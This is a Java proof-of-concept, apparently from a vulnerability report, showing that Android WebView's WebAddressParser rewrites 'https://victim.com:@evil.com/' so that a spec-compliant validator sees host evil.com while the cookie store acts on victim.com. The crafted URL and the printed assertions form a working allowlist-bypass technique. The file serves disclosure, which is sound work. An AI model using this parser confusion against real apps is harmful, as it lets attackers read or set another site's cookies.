// POC: WebAddressParser host confusion via empty-password ':@' sequence
//
// This is a standalone, dependency-free copy of the parsing logic in
//   android_webview/java/src/org/chromium/android_webview/WebAddressParser.java
// (regex constants, group indices, and toString() reconstruction are byte-for-
// byte identical to the Chromium source as of this report).
//
// It demonstrates that for input  https://victim.com:@evil.com/
//   - WebAddressParser            -> host = "victim.com", output = "https://victim.com/@evil.com/"
//   - java.net.URL on the INPUT   -> host = "evil.com"
//   - java.net.URL on the OUTPUT  -> host = "victim.com"
//
// i.e. an Android app that validates a URL with java.net.URL (or any spec-
// compliant parser) sees host=evil.com and passes its allowlist, but
// CookieManagerAdapter.fixupUrl() rewrites the URL so that the native cookie
// store (GURL) operates on host=victim.com.

import java.util.Locale;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class WebAddressParserPoc {

    // ---- BEGIN verbatim copy from WebAddressParser.java -------------------
    private String mScheme;
    private String mHost;
    private int mPort;
    private String mPath;
    private String mAuthInfo;

    private static final String GOOD_IRI_CHAR =
            "a-zA-Z0-9\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF";
    private static final String SCHEME = "(?:(http|https|file)\\:\\/\\/)?";
    private static final String AUTHORITY = "(?:([^/?#:]+(?::[^/?#]+)?)@)?";
    private static final String HOST =
            "([" + GOOD_IRI_CHAR + "%_-][" + GOOD_IRI_CHAR + "%_\\.-]*|\\[[0-9a-fA-F:\\.]+\\])?";
    private static final String PORT = "(?:\\:([0-9]*))?";
    private static final String PATH = "(\\/?[^#]*)?";
    private static final String ANCHOR = ".*";

    static final int MATCH_GROUP_SCHEME = 1;
    static final int MATCH_GROUP_AUTHORITY = 2;
    static final int MATCH_GROUP_HOST = 3;
    static final int MATCH_GROUP_PORT = 4;
    static final int MATCH_GROUP_PATH = 5;

    static Pattern sAddressPattern =
            Pattern.compile(
                    SCHEME + AUTHORITY + HOST + PORT + PATH + ANCHOR, Pattern.CASE_INSENSITIVE);

    public WebAddressParserPoc(String address) throws Exception {
        mScheme = "";
        mHost = "";
        mPort = -1;
        mPath = "/";
        mAuthInfo = "";

        Matcher m = sAddressPattern.matcher(address);
        String t;
        if (m.matches()) {
            t = m.group(MATCH_GROUP_SCHEME);
            if (t != null) mScheme = t.toLowerCase(Locale.ROOT);
            t = m.group(MATCH_GROUP_AUTHORITY);
            if (t != null) mAuthInfo = t;
            t = m.group(MATCH_GROUP_HOST);
            if (t != null) mHost = t;
            t = m.group(MATCH_GROUP_PORT);
            if (t != null && t.length() > 0) {
                try {
                    mPort = Integer.parseInt(t);
                } catch (NumberFormatException ex) {
                    throw new Exception("Bad port");
                }
            }
            t = m.group(MATCH_GROUP_PATH);
            if (t != null && t.length() > 0) {
                if (t.charAt(0) == '/') {
                    mPath = t;
                } else {
                    mPath = "/" + t;
                }
            }
        } else {
            throw new Exception("Bad address");
        }

        if (mPort == 443 && mScheme.equals("")) {
            mScheme = "https";
        } else if (mPort == -1) {
            if (mScheme.equals("https")) {
                mPort = 443;
            } else {
                mPort = 80;
            }
        }
        if (mScheme.equals("")) mScheme = "http";
    }

    @Override
    public String toString() {
        String port = "";
        if ((mPort != 443 && mScheme.equals("https"))
                || (mPort != 80 && mScheme.equals("http"))) {
            port = ":" + Integer.toString(mPort);
        }
        String authInfo = "";
        if (mAuthInfo.length() > 0) {
            authInfo = mAuthInfo + "@";
        }
        return mScheme + "://" + authInfo + mHost + port + mPath;
    }
    // ---- END verbatim copy ------------------------------------------------

    private static void check(String label, boolean cond) {
        System.out.printf("  [%s] %s%n", cond ? "PASS" : "FAIL", label);
        if (!cond) System.exit(1);
    }

    public static void main(String[] args) throws Exception {
        String input = "https://victim.com:@evil.com/";

        System.out.println("=== WebAddressParser host-confusion POC ===");
        System.out.println();
        System.out.println("Input URL:                           " + input);

        // 1. App-side validation (spec-compliant parser).
        java.net.URL appView = new java.net.URL(input);
        System.out.println("java.net.URL(input).getHost():       " + appView.getHost());

        // 2. CookieManagerAdapter.fixupUrl() == new WebAddressParser(url).toString()
        WebAddressParserPoc wap = new WebAddressParserPoc(input);
        String output = wap.toString();
        System.out.println();
        System.out.println("--- WebAddressParser internals ---");
        System.out.println("  mAuthInfo = \"" + wap.mAuthInfo + "\"");
        System.out.println("  mHost     = \"" + wap.mHost + "\"");
        System.out.println("  mPort     = " + wap.mPort);
        System.out.println("  mPath     = \"" + wap.mPath + "\"");
        System.out.println("fixupUrl(input):                     " + output);

        // 3. Native cookie store re-parses the OUTPUT with GURL. java.net.URL
        //    agrees with GURL here (both terminate authority at first '/').
        java.net.URL nativeView = new java.net.URL(output);
        System.out.println("java.net.URL(output).getHost():      " + nativeView.getHost());

        System.out.println();
        System.out.println("=== Assertions ===");
        check("App validator sees host == evil.com",
                appView.getHost().equals("evil.com"));
        check("WebAddressParser drops ':' and emits 'https://victim.com/@evil.com/'",
                output.equals("https://victim.com/@evil.com/"));
        check("Re-parsed output host == victim.com (cookie-store view)",
                nativeView.getHost().equals("victim.com"));
        check("HOST CONFUSION: validator host != cookie-store host",
                !appView.getHost().equals(nativeView.getHost()));

        System.out.println();
        System.out.println(
                ">>> RESULT: allowlist check on 'evil.com' passes, but "
                + "CookieManager.getCookie()/setCookie() operates on 'victim.com'.");
    }
}
